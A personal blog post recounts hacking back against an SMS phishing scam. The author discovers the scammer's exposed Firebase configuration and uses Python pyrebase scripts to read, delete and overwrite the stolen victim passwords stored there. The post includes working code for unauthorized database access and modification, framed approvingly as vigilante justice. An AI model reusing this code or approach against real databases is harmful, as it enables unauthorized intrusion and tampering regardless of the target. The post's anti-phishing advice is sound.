You Scam, I Hacked
Foiling a phishing scheme with a few lines of code
TL;DR: Scammer tried to phish me, so I hacked his database, changed the victims’ passwords and left the scammer with a headache.
Receiving the bait
On a calm Thursday evening in September, I was finishing work and was about to start a game of Call Of Duty when I received an SMS.
Quick dive into the scam
Since I had a few minutes to spare, I decided to take a look at this phishing page. Things to know about the page:
- Protected by a captcha
- You need to use a mobile user agent. Trying to visit the page on your computer without modifying the user-agent will redirect you to the bank page (pretty standard for phishing page nowadays).
Phishing page:
The real bank sign in page (in English for better comparaison):
Quick tip: The preview in the message is in French (my native language) but the phishing page is in English (the “Français” button was not working on the scammer page). Apart from the very bad domain they chose, it should be a red flag.
Within a few minutes with BurpSuite, I found this:
This is the information of the scammer database so it can be used by his frontend. For the more technical readers, you are starting to see where this is going. For those less familiar with the technical details, fun is about to begin.
For people who don’t know what is Firebase, here’s a two-line recap by ChatGPT:
Firebase is a platform developed by Google that provides cloud-based services for building, managing, and scaling web and mobile applications, with features like real-time databases, authentication, and hosting. It’s widely used for backend support, making app development easier without needing to manage infrastructure.
We can confirm the presence of the Firebase database by visiting the databaseURL and adding “.json” to the URL. We can see all the data the scammer has received since the page went live.
Playing around
I made a small Python script using pyrebase to see if I was able to list the same data with this configuration information:
import pyrebase
config = {
"apiKey": "apikeyhere",
"authDomain": "authdomain.firebaseapp.com",
"databaseURL": "https://databasehere.firebaseio.com",
"projectId": "123456789",
"storageBucket": "bucket.appspot.com",
"messagingSenderId": "987654321",
"appId": "1:idhere:web:anotheridhere",
"measurementId": "G-ABCDEF6",
}
firebase = pyrebase.initialize_app(config)
db = firebase.database()
# Get all data from the 'users' node
data = db.child("users").get()
The script is working well and I was able to get the data. Next step, will try to delete or add data to the database.
# ...
# delete victim from DB
db.child("users").child("1").child("victimID").remove()
And YESS! I was able to delete data directly from the database. Next step: making the scammer pay for his mistakes.
The plan
So from there, I had a few options:
- Delete all data now and continue to watch the DB for future victims.
- Create as many entries as possible and wish him a salty Google Cloud bill.
- Make a Python script that will modify each victim password for a random one. Messing with his data, making him lose time and this will also create failed login attempt on each account he will try.
Of course I had no choice, I went for option 3. So let’s mess with this scammer.
Here’s the plan:
- Select a random list of popular passwords. Happened to select this one.
- Most banks typically have minimum password requirement, so we need to ensure that the password is at least 8 characters with numbers, letter, etc.
- Modifying our script so we can modify data when the victim has entered their password and track the victimID so we don’t modify the same victim’s password multiple times (trying to stay as low-profile as possible).
- Enjoy the idea of this scammer hating his life and wondering why nothing is working.
Execute on the plan
Random password function:
def random_string():
basic_list_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Pwdb-Public/Wordlists/ignis-10K.txt"
basic_list = requests.get(basic_list_url).text.split("\n")
random_word = random.choice(basic_list)
# check if the word has at least 8 characters
while len(random_word) < 8:
random_word = random.choice(basic_list)
# check if the word has at least 1 uppercase, 1 lowercase, 1 digit, 1 special character. Added what's missing
if not any(char.isupper() for char in random_word):
random_word += random.choice(string.ascii_uppercase)
if not any(char.islower() for char in random_word):
random_word += random.choice(string.ascii_lowercase)
if not any(char.isdigit() for char in random_word):
random_word += random.choice(string.digits)
if not any(char in string.punctuation for char in random_word):
random_word += random.choice(string.punctuation)
return random_word
Modify passwordId function:
def update_dbinfo(object_id, newpass):
# update the passwordId
db.child("users").child("1").child(object_id).update({"passwordId": newpass})
print(f"Updated passwordId for object [{object_id}]")
With everything in place, it was time to test the script and it worked perfectly. Here are some examples of new password we inserted instead of victim plain text password:
- deadmau5H(
- superduperK1
So now, every time the scammer will try new victim credentials it will fail and generated failed login attempts.
Conclusion
I intercepted +/- 20 victims’ passwordId in the scammer database, which I consider as a solid win. We will never know the monetary impact, but knowing I may have saved people like my grandma from those scammers make me smile and proud.
It’s scary to think that most people reuse the same password or a variant of the same password for multiple accounts.
Always be careful when receiving unknown SMS. If you are not sure, don’t click on the link, and only log in using the URL or app you normally use. I suspect this scammer to have more in mind:
I didn’t find the other bank pages, so maybe those pages weren’t ready yet. Also, if you are reading this article, it’s because the phishing page AND the database went offline.
Stay safe online ❤️